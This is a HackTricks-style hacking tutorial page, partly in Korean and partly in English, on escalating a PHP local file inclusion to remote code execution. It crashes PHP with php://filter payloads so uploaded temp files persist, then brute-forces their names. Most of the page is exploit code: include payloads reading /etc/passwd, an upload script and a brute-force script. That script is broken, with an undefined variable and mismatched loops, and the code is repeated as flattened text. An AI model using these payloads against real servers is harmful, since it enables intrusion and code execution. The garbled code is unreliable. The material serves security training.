LFI2RCE via Segmentation Fault

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

다음의 페이로드는 PHP에서 세그멘테이션 오류를 유발했습니다:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

You should know that if you send a POST request containing a file, PHP will create a temporary file in /tmp/php<something> with the contents of that file. This file will be automatically deleted once the request was processed.

LFI를 발견하고 PHP에서 세그멘테이션 오류를 유발할 수 있다면, 임시 파일은 절대 삭제되지 않습니다. 따라서, LFI 취약점을 사용하여 파일을 검색할 수 있으며, 이를 통해 임의의 코드를 실행할 수 있습니다.

You can use the docker image https://hub.docker.com/r/easyengine/php7.0 for testing.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

PreviousLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS NextLFI2RCE via phpinfo()

Last updated 1 day ago

// PHP 7.0 include("php://filter/string.strip_tags/resource=/etc/passwd"); // PHP 7.2 include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

# upload file with segmentation fault import requests url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd" files = {'file': open('la.php','rb')} response = requests.post(url, files=files) # Search for the file (improve this with threads) import requests import string import threading charset = string.ascii_letters + string.digits host = "127.0.0.1" port = 80 base_url = "http://%s:%d" % (host, port) def bruteforce(charset): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = prefix + i + j + k url = "%s/index.php?i=/tmp/php%s" % (base_url, filename) print url response = requests.get(url) if 'spyd3r' in response.content: print "[+] Include success!" return True def main(): bruteforce(charset) if __name__ == "__main__": main()